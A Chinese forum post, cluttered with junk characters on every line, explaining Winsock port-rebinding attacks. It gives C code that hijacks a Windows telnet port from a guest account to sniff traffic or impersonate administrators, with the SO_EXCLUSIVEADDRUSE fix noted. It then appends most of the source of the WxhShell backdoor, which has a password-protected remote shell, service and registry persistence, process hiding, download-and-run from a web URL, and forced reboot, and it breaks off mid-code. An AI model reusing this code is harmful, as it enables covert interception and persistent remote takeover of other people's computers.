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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?v:ZU~i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F/>*If s  
Z7fg 25  
  saddr.sin_family = AF_INET; qj&b o  
fAGctRGH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `H\)e%]  
Y;Ap9i*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8nCp\0  
CK0l9#g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3X;{vO\a1  
8'A72*dhX  
  这意味着什么?意味着可以进行如下的攻击: >H>gH2qp  
q/NY72tj0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j(iuz^I  
~:4~2d|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =.*98  
`1Zhq+s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OR:[J5M)  
y` yZ R _  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kbYeV_OwM  
Bq@zaMv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /`[!_4i  
LvcuZZ`1a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P ZxFZvE  
F30 ]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  W^Y#pn  
mk!Dozb/  
  #include !4WEk  
  #include T dk ,&8  
  #include 5{K}?*3hJ  
  #include    a8pY[)^c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ](#&.q%5!  
  int main() ib$nc2BPb  
  { [84F0 9HU  
  WORD wVersionRequested; T-gk<V  
  DWORD ret; g JjN<&,  
  WSADATA wsaData; }XR : 2  
  BOOL val; .m;G$X|3U  
  SOCKADDR_IN saddr; pXu/(&?  
  SOCKADDR_IN scaddr; bUZ_UW  
  int err; `pL^}_>|GM  
  SOCKET s; Zp&@h-%YoD  
  SOCKET sc; Tde0~j}  
  int caddsize; !lTda<;]  
  HANDLE mt; ('C7=u&F  
  DWORD tid;   #]E(N~  
  wVersionRequested = MAKEWORD( 2, 2 ); fKHE;A*>%  
  err = WSAStartup( wVersionRequested, &wsaData ); GaekFbW)  
  if ( err != 0 ) { y<- _(^  
  printf("error!WSAStartup failed!\n"); uLQ  
  return -1; cK@jmGj+  
  } "B{ECM;  
  saddr.sin_family = AF_INET; 0:=ZkEEeU  
   Wh( |+rJ?Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x[Im%k  
o31Nmy Ni  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \( )# e  
  saddr.sin_port = htons(23); %0,-.(h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nc)J18  
  { 1[;;sSp  
  printf("error!socket failed!\n"); usFfMF X  
  return -1; F%d \~Vj  
  } VsK>6S\T  
  val = TRUE; 80pid[F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F'JY?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eq[Et +  
  { &QNY,Pj  
  printf("error!setsockopt failed!\n"); aG+j9Q_  
  return -1; 5D Y\:AF  
  } W_`A"WdT.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l@JSK ;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lFSe?X^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p|+B3  
$t~@xCi]S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ememce,Np  
  { _ oFs #kW  
  ret=GetLastError(); 2xwlKmI N  
  printf("error!bind failed!\n"); e@#kRklV&  
  return -1; Ge+0-I6Ju  
  } )$ Mmn  
  listen(s,2); 4|?{VQ  
  while(1) Oakb'  
  { 7.Kc:7  
  caddsize = sizeof(scaddr); #A7jyg":  
  //接受连接请求 C? 4JXW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o|BP$P8V  
  if(sc!=INVALID_SOCKET) MJ`3ta  
  { kc `V4b%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uC3:7  
  if(mt==NULL) O81X ;JdP3  
  { errH>D~  
  printf("Thread Creat Failed!\n"); & fC!(Oy  
  break; DZS]AC*  
  } BYrZEVM9  
  } :1ecx$  
  CloseHandle(mt); :}:3i9e*2  
  } @|}BXQNd  
  closesocket(s); +|iYg/2  
  WSACleanup(); AK!hK>u`  
  return 0; N6OMY P1  
  }   /93l74.w  
  DWORD WINAPI ClientThread(LPVOID lpParam) /u%h8!"R  
  { &MZ$j46  
  SOCKET ss = (SOCKET)lpParam; nlYR-.  
  SOCKET sc; YevyN\,}V!  
  unsigned char buf[4096]; M:KbD|  
  SOCKADDR_IN saddr; G!N{NCq  
  long num; RyJ 1mAC  
  DWORD val; A - YBQPE  
  DWORD ret; *^\HU=&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X~=xXN.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z4#(Ze@u~_  
  saddr.sin_family = AF_INET; !" #9<~Q,p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <h).fX  
  saddr.sin_port = htons(23); PNOGN|D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "\W-f  
  { =J-5.0Q\_\  
  printf("error!socket failed!\n"); 6lwta`2  
  return -1; ]uj=:@  
  } kd`0E-QU  
  val = 100; D_mL,w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7?8wyk|x  
  { 7;@ST`cC  
  ret = GetLastError(); DZ7 gcC  
  return -1; }?F`t[+  
  } $ ,SF@BhO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {GDmVWG0q  
  { mR\`DltoV  
  ret = GetLastError(); :F,O  
  return -1; PNF?;*`-{7  
  } SzwQOs*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s>k Uh  
  { 7|\@zQ h   
  printf("error!socket connect failed!\n"); `\`>0hlu  
  closesocket(sc); vu!d)Fy  
  closesocket(ss); n79QJl/  
  return -1; p.I.iAk%G^  
  } 7(M(7}EKA  
  while(1) eI.2`)>  
  { $Nrm!/)*'}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <~TP#uAz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pLa[}=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f4-a?bp  
  num = recv(ss,buf,4096,0); XC 7?VE  
  if(num>0) TD[EQ  
  send(sc,buf,num,0); Jd\apBIf  
  else if(num==0) T_b^ Tc`  
  break; :@W.K5  
  num = recv(sc,buf,4096,0); g4`Kp; }&'  
  if(num>0) Pq*s{  
  send(ss,buf,num,0); 6u`F d#  
  else if(num==0) Zwcy4>8  
  break; >Vy>O &r  
  } }i {sg#  
  closesocket(ss); dzK{ Z  
  closesocket(sc); `l2O?U-@  
  return 0 ; aQ^umrj@?9  
  } )"f N!9,F  
CT0l!J~5m~  
C%*k.$#r!  
========================================================== Mb3}7@/[  
Om{l>24i.\  
下边附上一个代码,,WXhSHELL .=m,hu~  
x!\ONF5$  
========================================================== oH0X<'  
l4n)#?Q?  
#include "stdafx.h" H&r,FmI@  
08X_}97#WF  
#include <stdio.h> #HS]NA|e@  
#include <string.h> y4h=Lki@  
#include <windows.h> EbeI{ -'aF  
#include <winsock2.h> y\N|<+G+  
#include <winsvc.h> XwV'Ha  
#include <urlmon.h> %r&-gWTQ,  
4Mk-2 Dx  
#pragma comment (lib, "Ws2_32.lib") gaA<}Tp,  
#pragma comment (lib, "urlmon.lib") s9dO,FMs0t  
`1{N=!U(&  
#define MAX_USER   100 // 最大客户端连接数 vvUSeG\n#j  
#define BUF_SOCK   200 // sock buffer DAo~8H  
#define KEY_BUFF   255 // 输入 buffer UAR5^  
ycFio ,  
#define REBOOT     0   // 重启 GgaTn!mJt  
#define SHUTDOWN   1   // 关机 m<L;  
rc+C?)S  
#define DEF_PORT   5000 // 监听端口 =rdY @  
1&fc1uYB4  
#define REG_LEN     16   // 注册表键长度 3=-4%%[M@  
#define SVC_LEN     80   // NT服务名长度 eh,~^x5  
?#yV3h|Ij  
// 从dll定义API SIBoCs5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )54%HM_$k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qV5DW0.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G=;k=oX(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `eu9dLz H  
.NtbL./=|  
// wxhshell配置信息 ,=?{("+  
struct WSCFG { "[}O"LTQ  
  int ws_port;         // 监听端口 ngj,x7t  
  char ws_passstr[REG_LEN]; // 口令 )%!XSsY.N|  
  int ws_autoins;       // 安装标记, 1=yes 0=no OL_{_K(w  
  char ws_regname[REG_LEN]; // 注册表键名 8M@BG8  
  char ws_svcname[REG_LEN]; // 服务名 iC iZJ"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RwS@I /  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y>jiXl?&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "c}@V*cO<d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5*[2yKsTi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7ugZE93!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O;7)Hjwt  
&uC@|dbC5  
}; [AV4m   
eNiaM6(J  
// default Wxhshell configuration `jS T  
struct WSCFG wscfg={DEF_PORT, ?\8?%Qk  
    "xuhuanlingzhe", j~j\\Y  
    1, i#%aTRKHd6  
    "Wxhshell", G,;,D9jO7  
    "Wxhshell", EyY.KxCB  
            "WxhShell Service", ~b {Gz6u>  
    "Wrsky Windows CmdShell Service", ;[RZ0Uy=  
    "Please Input Your Password: ", nx0K$ Ptq  
  1, +cU>k}  
  "http://www.wrsky.com/wxhshell.exe", sB69R:U;  
  "Wxhshell.exe" 8w({\=  
    }; ;gC|  
|yo\R{&6  
// 消息定义模块 V.wqZ {G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 64:fs?H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $%VuSrZ&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qp`gswvE  
char *msg_ws_ext="\n\rExit."; =_YG#yS  
char *msg_ws_end="\n\rQuit."; 0ZQ'_g|%  
char *msg_ws_boot="\n\rReboot..."; $=?@*p  
char *msg_ws_poff="\n\rShutdown..."; [pVamE  
char *msg_ws_down="\n\rSave to "; /c):}PJ^#7  
4 Jx"A\5*G  
char *msg_ws_err="\n\rErr!"; G\NPV'  
char *msg_ws_ok="\n\rOK!"; ')GSAY7  
yoAfc  
char ExeFile[MAX_PATH]; %'0T Xr$  
int nUser = 0; 1>L(ul(qGF  
HANDLE handles[MAX_USER]; ah~Y eJp  
int OsIsNt; ,^icPQSwc  
6"dD2WV/  
SERVICE_STATUS       serviceStatus;  @3kKJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V`@>MOw^d  
O{ /q-~_  
// 函数声明  <T[E=#  
int Install(void); F[ewn/]n  
int Uninstall(void); NWxUn.Gy9  
int DownloadFile(char *sURL, SOCKET wsh); FZ8b7nJ)4m  
int Boot(int flag); Y2'cs~~$Ce  
void HideProc(void); ]~Y<o  
int GetOsVer(void); y!]CJigpZ  
int Wxhshell(SOCKET wsl); ExRe:^yU\  
void TalkWithClient(void *cs); ?k(\ApVHj  
int CmdShell(SOCKET sock); ws^4?O  
int StartFromService(void); sUPz/Z.h  
int StartWxhshell(LPSTR lpCmdLine); @?"h !fyu  
KN-avu_Ix  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~)(\6^&=|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vOg#Dqn-  
Hr$QLtr  
// 数据结构和表定义 "Ky; a?Y  
SERVICE_TABLE_ENTRY DispatchTable[] = h,"4SSL  
{ 1{P'7IEj  
{wscfg.ws_svcname, NTServiceMain}, tnLAJ+ -M  
{NULL, NULL} F`9]=T0  
}; $ /nY5[  
|^@dFOz  
// 自我安装 ul*Qt}  
int Install(void) )Pv9_XKJ  
{ }pJwj  
  char svExeFile[MAX_PATH]; P (S>=,Y&  
  HKEY key; YtO|D  
  strcpy(svExeFile,ExeFile); H*9~yT' Q  
r [ K5w  
// 如果是win9x系统,修改注册表设为自启动 MX+ Z ?  
if(!OsIsNt) { |\n_OS 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w|Nz_3tI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); In[Cr/&/Y  
  RegCloseKey(key); #h/Mbj~S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )XWP\ h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |.wEm;Bz  
  RegCloseKey(key); DfKr[cqLM  
  return 0; `7H4Y&E  
    } yeHDa+}  
  } VWO9=A*Y|  
} o: ;"w"G  
else { ;,]P=Ey  
zz& ?{vJ  
// 如果是NT以上系统,安装为系统服务 cYqfsd# B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~jsLqY*(+  
if (schSCManager!=0) -ig6w.%lk  
{  wd)jl%  
  SC_HANDLE schService = CreateService /@|/^vld  
  ( <\;#jF%V  
  schSCManager, o;?/HE%,[  
  wscfg.ws_svcname, 85GKymz$P  
  wscfg.ws_svcdisp, (64yg  
  SERVICE_ALL_ACCESS, r7',3V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p ]d] QMu  
  SERVICE_AUTO_START, <ZB1Vi9}8  
  SERVICE_ERROR_NORMAL, -I=l8m6L  
  svExeFile, }*L(;r)q  
  NULL, <qGu7y"  
  NULL, y{N-+10z  
  NULL, {P*m;a`}  
  NULL, |7zd%!  
  NULL 3$X'Y]5a  
  ); HbW0wuI  
  if (schService!=0) QcpXn4/*  
  { l<);s  
  CloseServiceHandle(schService); \<g*8?yFs  
  CloseServiceHandle(schSCManager); p}cw{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y '!m4-  
  strcat(svExeFile,wscfg.ws_svcname); .?l\g-;=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Ac:_Zg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sM9+dh  
  RegCloseKey(key); ^`G}gWBx}w  
  return 0; f;b[w   
    } ,N0#!<}4  
  } p|]\P%,\  
  CloseServiceHandle(schSCManager); tPF.r  
} J_;o|gqX  
} ? YG)I;(  
|iwP:C^\mJ  
return 1; _]:z \TDn  
} cb}[S:&|  
o>VVsH  
// 自我卸载 MNV % =G  
int Uninstall(void) Gh}*q|Lz  
{ ukUGvK  
  HKEY key; mWvl 38  
Q 7?#=N?  
if(!OsIsNt) { #{\%rWnCm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JeE ;V![  
  RegDeleteValue(key,wscfg.ws_regname); dN$Tf  
  RegCloseKey(key); R47\Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )KAEt.  
  RegDeleteValue(key,wscfg.ws_regname); rh^mJU h  
  RegCloseKey(key); r3PT1'P?L  
  return 0; cMOyo<F#^=  
  } VzVc37 Z>6  
} b1( $R[  
} 7"C$pm6  
else { =y!$/(H  
g pOC`=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {lc\,F*$  
if (schSCManager!=0) <.? jc%  
{ q*>&^V$M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H/37)&$E(  
  if (schService!=0) J_4!2v!6e  
  { [D4Es  
  if(DeleteService(schService)!=0) { &mx)~J^m  
  CloseServiceHandle(schService); Dg?:/=,=9r  
  CloseServiceHandle(schSCManager); Bf8jPa/  
  return 0;  v%iflCK  
  } ;-qO'V:;  
  CloseServiceHandle(schService); ~W-PD  
  }  .P"D  
  CloseServiceHandle(schSCManager); c(~[$)i6  
} T]c%!&^ _  
} 5wDg'X]>V  
XD2v*l|Po  
return 1; Kuu *&u  
} WA&!;Zq  
#NryLE!/  
// 从指定url下载文件 _+E5T*dk  
int DownloadFile(char *sURL, SOCKET wsh) ilqy /fL#  
{ qO|R^De  
  HRESULT hr; av|g}xnj  
char seps[]= "/"; q1KZ5G)6GJ  
char *token; \}|o1Xh2  
char *file; k5kxQhPf  
char myURL[MAX_PATH]; |0f>aZ  
char myFILE[MAX_PATH]; r<d_[?1N  
D1=((`v '  
strcpy(myURL,sURL); mUik A9u5=  
  token=strtok(myURL,seps); Z '7  
  while(token!=NULL) P`cq H(   
  { ?BZPwGMs  
    file=token; TtTj28 k7  
  token=strtok(NULL,seps); j=r P:#  
  } @pRlxkvV  
tu66'z  
GetCurrentDirectory(MAX_PATH,myFILE); 9eQxit7  
strcat(myFILE, "\\"); dx@-/^.  
strcat(myFILE, file); QvKh,rBFVG  
  send(wsh,myFILE,strlen(myFILE),0); 7V!*NBsl  
send(wsh,"...",3,0); ) u`[6,d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `M^= D&Bf  
  if(hr==S_OK) .E8_Oz  
return 0; z?*w8kU&>  
else N@Uy=?)ZJ  
return 1; LAS'u "c|  
2so!  
} 9^#c| 0T  
7%|~>  
// 系统电源模块 sW'2+|3"  
int Boot(int flag) %_%Q 8,W  
{ .Z `av n  
  HANDLE hToken; hRD=Y<>A  
  TOKEN_PRIVILEGES tkp; M:[ %[+6  
I7n"&{s"*  
  if(OsIsNt) { naR0@Q"\h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +{f:cea (1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @a0DT=>dT  
    tkp.PrivilegeCount = 1; Ni-xx9)=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9\BT0kx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [`"ZjkR_J  
if(flag==REBOOT) { .ufTQ?Fe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (jRm[7H  
  return 0; ?En O"T.  
} n%.7h3  
else { /YMj-S_b~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m4hg'<<V  
  return 0; SVh 7zh  
} Ch|jtVeuyJ  
  } "AsKlKz{B  
  else { P"IPcT%Ob%  
if(flag==REBOOT) { keX,d#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RbP6F*f  
  return 0; _M`--.{\O[  
} ~O oidKT  
else { $Y/9SV,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ( +Q&[E"87  
  return 0; g4=pnK8  
} /-_h1.!   
} !h23cj+V  
IYS)7`{]  
return 1; SwTL|+u  
} }J:U=HJ  
,*&:2o_r  
// win9x进程隐藏模块 _u5#v0Y  
void HideProc(void) $0>60<J  
{ %7IugHH9y  
p93r'&Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t\k$};qJ  
  if ( hKernel != NULL ) @hiCI.?X  
  { 7byK{{/z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cz\e w B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _/-jX  
    FreeLibrary(hKernel); 4U+xb>  
  } 7vrl'^1  
|Mu p8(gCk  
return; =S+wCN  
} ;o2$ Q  
m.# VYN`+A  
// 获取操作系统版本 bYpnt V  
int GetOsVer(void) t^R][Ay&  
{ bnq; )>&  
  OSVERSIONINFO winfo; 2Mc3|T4)U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ODNM+#}`  
  GetVersionEx(&winfo); pN:Kdi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bpJ(XN}E  
  return 1; [q) 8N  
  else Ln')QN  
  return 0; t{^*6XOcJ  
} Z'`g J&6n  
Xqg@ e:g  
// 客户端句柄模块 [!HEQ8 2g  
int Wxhshell(SOCKET wsl) "GMBjT8  
{ P;=n9hgHI  
  SOCKET wsh; f332J  
  struct sockaddr_in client; dMf:h"7  
  DWORD myID; v7BA[jQr  
D[aCsaR  
  while(nUser<MAX_USER) }Z@ovsG  
{ 9ifDcYl  
  int nSize=sizeof(client); ~dgDO:)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =n5zM._S-  
  if(wsh==INVALID_SOCKET) return 1; 8_BV:o9kL  
J>wt (] y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NO "xL,  
if(handles[nUser]==0) F\JM\{&F  
  closesocket(wsh); 42_`+Vt]d7  
else ;f0I 8i,JN  
  nUser++; "pi=$/RD9  
  } ]HKQDc'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c }Ft^Il  
OE_XCZ!5P  
  return 0; S!jTyY7e  
} /32Fy`KV  
X@ +{5%  
// 关闭 socket n7B7m,@1  
void CloseIt(SOCKET wsh) $2oTkOA   
{ "bFTk/  
closesocket(wsh); &gVN&  
nUser--; we~[] \  
ExitThread(0); +%zAQeb  
} 7 E r23Q  
V+* P2|  
// 客户端请求句柄 YSr9VpqWV  
void TalkWithClient(void *cs) Xb:;</  
{ c]x1HvPE  
jSD#X3qp  
  SOCKET wsh=(SOCKET)cs; aktU$Wbwl  
  char pwd[SVC_LEN]; [-65PC4aN  
  char cmd[KEY_BUFF]; 1-%fo~!l  
char chr[1]; a,@]8r-"  
int i,j; >:AARx%  
lP[w?O  
  while (nUser < MAX_USER) { ocqU=^ta  
\f]k CB  
if(wscfg.ws_passstr) { a]JYDq`,3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BWeA@v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [pC$+NX  
  //ZeroMemory(pwd,KEY_BUFF); J`peX0Stl  
      i=0; 3 R=,1<  
  while(i<SVC_LEN) { `YFtL  
4x {0iav  
  // 设置超时 ~bM4[*Q7  
  fd_set FdRead; |4)>:d  
  struct timeval TimeOut; HmiR.e%<b  
  FD_ZERO(&FdRead); ^1S!F-H4\  
  FD_SET(wsh,&FdRead); PlU*X8  
  TimeOut.tv_sec=8; IpINH3odT  
  TimeOut.tv_usec=0; 0[R L>;D:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ye"o6_U "  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eza`Z` ^el  
Sz%t JD..  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '-r).Xk  
  pwd=chr[0]; S@jQX  
  if(chr[0]==0xd || chr[0]==0xa) {  ,V,`Jf  
  pwd=0; ^!<U_;+  
  break; l7XUXbYp&=  
  } 03|PYk 6EW  
  i++; 6_J$UBT  
    } ^Ew]uN>,  
8UXjm_B^'  
  // 如果是非法用户,关闭 socket @)UZ@ ~R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8ZM?)# `@{  
} 5m*iE*+  
K#%&0D!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sd,J3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $h2){*5E{  
mPOGidxix  
while(1) { K{x\4  
g-Mj.owu=  
  ZeroMemory(cmd,KEY_BUFF); Qi ua  
V@B__`y7  
      // 自动支持客户端 telnet标准   -|J"s$yO4  
  j=0; W^0w  
  while(j<KEY_BUFF) { jlkmLcpf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G<At_YS  
  cmd[j]=chr[0]; yWg@v +  
  if(chr[0]==0xa || chr[0]==0xd) { T_s _p  
  cmd[j]=0; VvvRRP^q  
  break; 4H,`]B8(D  
  } n(b(yXYm]  
  j++; 4~k\j  
    } 6DM$g=/ '  
d:ARf  
  // 下载文件 -9%:ilX~  
  if(strstr(cmd,"http://")) { >z/#_z@LV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r;B8i!gD  
  if(DownloadFile(cmd,wsh)) \.C +ue  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TlXI|3Ip  
  else B:dB,3,`(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SFB~ ->db  
  } hU(umL<  
  else { :V1W/c  
MC?,UDNd%  
    switch(cmd[0]) { gcE|#1>  
  w:%o?pKet1  
  // 帮助 hXfQ)$J  
  case '?': { H(R1o~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I CZ4 A{I  
    break; VYu~26Zr  
  } Te.Y#lCT$  
  // 安装 >7wOoK|1'  
  case 'i': { |2?'9<  
    if(Install()) QP@%(]fG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Uw<$!$-]s  
    else V `b2TS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M3J#'%$  
    break; ?HTj mIb  
    } E%+Dl=  
  // 卸载 Ky|88~}:C9  
  case 'r': { 8I-u2Y$Sr  
    if(Uninstall()) `NnUyQ;T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :j5n7s?&=y  
    else o 4`hY/<t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XxT#X3D/,"  
    break; qd9cI&  
    } vqnw#U4`  
  // 显示 wxhshell 所在路径 Ipf|")*  
  case 'p': { )i~cr2Hk  
    char svExeFile[MAX_PATH]; n1qQ+(xC  
    strcpy(svExeFile,"\n\r"); d_AK `wR  
      strcat(svExeFile,ExeFile); yW+yg{Gg:  
        send(wsh,svExeFile,strlen(svExeFile),0); `k=bL"T>\  
    break; $"`- ^  
    } 3!3xCO  
  // 重启 l]@&D#3ZM  
  case 'b': { $k|g"9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G %N $C  
    if(Boot(REBOOT)) &K[_J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3t`P@nL0;  
    else { J c g,#@  
    closesocket(wsh); _,zA ^*b  
    ExitThread(0); _]04lGx27  
    } Scp7X7{N  
    break; /,1D)0  
    } \X<bH&x:z  
  // 关机 vbkI^+=,YY  
  case 'd': { z3`-plE  
